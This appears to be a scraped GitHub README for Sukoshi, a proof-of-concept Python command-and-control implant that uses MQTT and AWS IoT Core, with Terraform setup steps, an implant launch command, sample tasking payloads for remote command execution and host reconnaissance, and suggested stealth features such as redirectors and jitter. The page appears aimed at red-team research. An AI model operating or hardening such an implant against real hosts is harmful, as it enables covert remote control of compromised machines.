Sukoshi is a proof-of-concept Python implant that leverages the MQTT protocol for C2 and uses AWS IoT Core as infrastructure.

Overview

Sukoshi | 少し

Overview

Sukoshi is a proof-of-concept Python implant that leverages the MQTT protocol for C2 and uses AWS IoT Core as infrastructure. It is intended to demonstrate the use of MQTT for C2 and the way in which IoT cloud services can be integrated with an implant.

Note: This project was not built to be used in a production setting. It is designed as a proof-of-concept and it intentionally omits many features that would be expected in a modern C2 project. For OPSEC considerations, see here.

Features

  • Automated setup and deployment of an implant using MQTT for C2. Can be used to easily test and analyze an implant leveraging this protocol.
  • Connects AWS IoT Core to an implant. Can be further expanded to integrate AWS services such as IoT Analytics for logging/data analysis/visualization and IoT Events for automated response to significant data events.

IoT Services for C2

C2 operators face many challenges such as having to manage a fleet of agents, implement a secure communications channel, quickly respond to events and log/analyze/visualize data. These same issues are being addressed by cloud providers who offer IoT services. As a result, they can be leveraged for C2 and implant management. This project uses AWS IoT Core as infrastructure, but other providers could possibly be re-purposed for C2 as well (Azure IoT, HiveMQ).

AWS has implemented sophisticated IoT services and capabilities that can be readily adapted for C2. As an example, telemetry from operators and implants can be stored, prepared, analyzed and fed into machine learning models using IoT Analytics. The IoT Device Defender service can be used to run regular audits on deployed implants, check for anomalous activity and produce alerts.

Telemetry gathered in IoT Core is not restricted to IoT services. Using Rules for AWS IoT, your implant data can be forwarded to many other services in the AWS ecosystem. You can do things like pass the data to Lambda functions, store it in DynamoDB or S3, send the data to Amazon Machine Learning to make predictions based on an Amazon ML model, start execution of a Step Functions state machine, and much more.

I believe that this project only scratches the surface of what can be done with cloud IoT service providers. The time saved by not needing to implement these capabilities by yourself is enormous. You can instantly get access to sophisticated services that are highly benficial to C2 operators.

Setup

Python Requirements

The AWS IoT Python libraries are needed by the implant and can be installed with the steps below:

  1. On the command line, navigate to the root of the Sukoshi project
  2. Execute the following to install the dependencies:
pip install -r requirements.txt

Terraform

This project includes Terraform files to automate deployment of the AWS IoT Core infrastructure that is needed by the implant.

The following resources will be created in the target AWS account:

  • AWS IoT Certificate
  • AWS IoT Policy
  • AWS IoT Thing

The certificates needed to connect the implant with AWS infrastructure will be created in the /terraform/certs folder.

The process for setting this up is as follows:

  1. Ensure you have Terraform setup and installed (https://learn.hashicorp.com/tutorials/terraform/install-cli)
  2. Ensure you have AWS user credentials with the proper IAM permissions configured on the CLI (https://docs.aws.amazon.com/cli/latest/userguide/getting-started-quickstart.html). For testing purposes, you can attach the managed policy "AWSIoTConfigAccess" to the user.
  3. From the command line, navigate to the /terraform folder
  4. Execute the following commands to setup the required infrastructure using Terraform:
terraform init
terraform plan
terraform apply
  1. Take note of the implant_command_line output from Terraform, it will be used to start the implant
  2. Execute the following command to destroy the infrastructure when finished testing:
terraform destroy

Usage

The implant has been configured with very basic functionality to demonstrate the usage of MQTT for C2 and integration with AWS IoT Core. For simplicity, interaction with the implant by an operator is primarily done through the MQTT test client in the AWS IoT Core console page.

The following is an example of the end-to-end flow for the implant C2:

  1. Navigate to the AWS IoT Core console page
  2. Under the "Test" dropdown in the sidebar, click "MQTT test client"
  3. On the "Subscribe to a topic" tab in the "Topic filter" field, enter c2/results as a topic and click "Subscribe". Note that c2/results appears under the "Subscriptions" window.
  4. Repeat the above step for the c2/tasking and c2/heartbeat topics. For convenience, you may choose to favorite each of these subscribed topics by clicking the heart icon.
  5. Start the implant by executing the command line obtained from the Terraform output (implant_command_line), a sample can be seen below:
python implant.py --endpoint example-ats.iot.us-east-1.amazonaws.com --cert terraform/certs/sukoshi_implant.cert.pem --key terraform/certs/sukoshi_implant.private.key --client-id sukoshi_client_id --port 443
  1. Observe that output begins to appear in the c2/heartbeat channel
  2. Click on the "Publish to a topic" tab and enter c2/tasking in the "Topic name" field
  3. In the "Message payload" field, enter the following:
{
  "task": "ping",
  "arguments": ""
}
  1. Click the "Publish" button and observe that the task is published to the c2/tasking topic in "Subscriptions"
  2. Observe the implant receiving the task, performing the work and publishing results
Publishing message to topic 'c2/heartbeat': {"contents": "heartbeat", "success": "true"}
Received message from topic 'c2/tasking': b'{\n  "task": "ping",\n  "arguments": ""\n}'
Publishing message to topic 'c2/heartbeat': {"contents": "heartbeat", "success": "true"}
Publishing message to topic 'c2/results': {"contents": "pong", "success": "true"}
  1. Observe the results appear in the c2/results topic:
{
  "contents": "pong",
  "success": "true"
}
  1. To view other sample tasking payloads, see the Supported Tasks section.

Screenshots

Accessing the MQTT test client to send tasks/view results

screen_1

Subscribing to topics

screen_2

Publishing tasks and viewing results

screen_3

Supported Tasks

The following are sample payloads for supported tasks you can paste into the "Message payload" field within the AWS "MQTT test client" page.

Command Execution

Execute an OS command and retrieve the results. In this case, the whoami command is provided.

{
  "task": "exec",
  "arguments": "whoami"
}

Host Reconaissance

Gather basic details about the host where the implant is running, including host name and OS info.

{
  "task": "host-recon",
  "arguments": ""
}

Ping

Send a ping and get back a pong. Simple task used to validate end-to-end C2.

{
  "task": "ping",
  "arguments": ""
}

Configure Dwell Time

Set the time the implant should wait before executing tasks and returning results. Time is in seconds.

{
  "task": "set-dwell-time",
  "arguments": "10"
}

Exit

Ask the implant to end the beaconing loop and disconnect from the endpoint.

{
  "task": "exit",
  "arguments": ""
}

OPSEC Considerations

Due to the PoC nature of this project, it was not built with OPSEC in mind. However, I will outline some possible features that could be present in a production deployment of this kind of project:

  • Automated setup of redirectors to obscure the AWS IoT endpoint
  • Overhaul of command execution tasking to support stealthier implementations
  • Development of implant build using the AWS IoT Device SDK for C++
  • Leverage alternate IoT cloud service providers as a fallback
  • Variable beaconing using jitter
  • Encryption of tasking and results in the event that the communications channel is compromised

Credits

You might also like...
Build better AWS infrastructure

Sceptre About Sceptre is a tool to drive AWS CloudFormation. It automates the mundane, repetitive and error-prone tasks, enabling you to concentrate o

Simulation artifacts, core components and configuration files to integrate AWS DeepRacer device with ROS Navigation stack.
Simulation artifacts, core components and configuration files to integrate AWS DeepRacer device with ROS Navigation stack.

AWS DeepRacer Overview The AWS DeepRacer Evo vehicle is a 1/18th scale Wi-Fi enabled 4-wheel ackermann steering platform that features two RGB cameras

Project template for using aws-cdk, Chalice and React in concert, including RDS Postgresql and AWS Cognito

What is This? This repository is an opinonated project template for using aws-cdk, Chalice and React in concert. Where aws-cdk and Chalice are in Pyth

Python + AWS Lambda Hands OnPython + AWS Lambda Hands On
Python + AWS Lambda Hands OnPython + AWS Lambda Hands On

Python + AWS Lambda Hands On Python Criada em 1990, por Guido Van Rossum. "Bala de prata" (quase). Muito utilizado em: Automatizações - Selenium, Beau

Aws-cidr-finder - A Python CLI tool for finding unused CIDR blocks in AWS VPCs

aws-cidr-finder Overview An Example Installation Configuration Contributing Over

AWS Auto Inventory allows you to quickly and easily generate inventory reports of your AWS resources.
AWS Auto Inventory allows you to quickly and easily generate inventory reports of your AWS resources.

Photo by Denny Müller on Unsplash AWS Automated Inventory ( aws-auto-inventory ) Automates creation of detailed inventories from AWS resources. Table

A suite of utilities for AWS Lambda Functions that makes tracing with AWS X-Ray, structured logging and creating custom metrics asynchronously easier

A suite of utilities for AWS Lambda Functions that makes tracing with AWS X-Ray, structured logging and creating custom metrics asynchronously easier

Unauthenticated enumeration of services, roles, and users in an AWS account or in every AWS account in existence.

Quiet Riot 🎶 C'mon, Feel The Noise 🎶 An enumeration tool for scalable, unauthenticated validation of AWS principals; including AWS Acccount IDs, roo

AWS Blog post code for running feature-extraction on images using AWS Batch and Cloud Development Kit (CDK).

Batch processing with AWS Batch and CDK Welcome This repository demostrates provisioning the necessary infrastructure for running a job on AWS Batch u

Owner
Steven Patterson
Vulnerability Researcher at Shogun Lab. The lab was started to help organizations find security flaws in their software.
Steven Patterson
Python Proof of Concept for retrieving Now Playing on YouTube Music with TabFS

Youtube Music TabFS Python Proof of Concept for retrieving Now Playing on YouTube Music with TabFS. music_information = get_now_playing() pprint(music

Junho Yeo 41 Nov 6, 2022
⚡ PoC: Hide a c&c botnet in the discord client. (Proof Of Concept)

Discord-BotnetClient Embed C&C botnet into the discord client. Working trought websocket c&c server. How to use. pip3 install websocket_server colored

0хVιcнy#1337 37 Oct 21, 2022
Automated AWS account hardening with AWS Control Tower and AWS Step Functions

Automate activities in Control Tower provisioned AWS accounts Table of contents Introduction Architecture Prerequisites Tools and services Usage Clean

AWS Samples 20 Dec 7, 2022
Implement backup and recovery with AWS Backup across your AWS Organizations using a CI/CD pipeline (AWS CodePipeline).

Backup and Recovery with AWS Backup This repository provides you with a management and deployment solution for implementing Backup and Recovery with A

AWS Samples 8 Nov 22, 2022
A wrapper for aqquiring Choice Coin directly through a Python Terminal. Leverages the TinyMan Python-SDK.

CHOICE_TinyMan_Wrapper A wrapper that allows users to acquire Choice Coin directly through their Terminal using ALGO and various Algorand Standard Ass

Choice Coin 16 Sep 24, 2022
Discord Bot that leverages the idea of nested containers using podman, runs untrusted user input, executes Quantum Circuits, allows users to refer to the Qiskit Documentation, and provides the ability to search questions on the Quantum Computing StackExchange.

Discord Bot that leverages the idea of nested containers using podman, runs untrusted user input, executes Quantum Circuits, allows users to refer to the Qiskit Documentation, and provides the ability to search questions on the Quantum Computing StackExchange.

Mehul 23 Oct 18, 2022
Troposphere and shellscript based AWS infrastructure automation creates an awsapigateway lambda with a go backend

Automated-cloudformation-infra Troposphere and shellscript based AWS infrastructure automation. Feel free to clone and edit for personal usage. The en

null 1 Jan 3, 2022
Infrastructure template and Jupyter notebooks for running RoseTTAFold on AWS Batch.

AWS RoseTTAFold Infrastructure template and Jupyter notebooks for running RoseTTAFold on AWS Batch. Overview Proteins are large biomolecules that play

AWS Samples 20 May 10, 2022
This solution helps you deploy Data Lake Infrastructure on AWS using CDK Pipelines.

CDK Pipelines for Data Lake Infrastructure Deployment This solution helps you deploy data lake infrastructure on AWS using CDK Pipelines. This is base

AWS Samples 66 Nov 23, 2022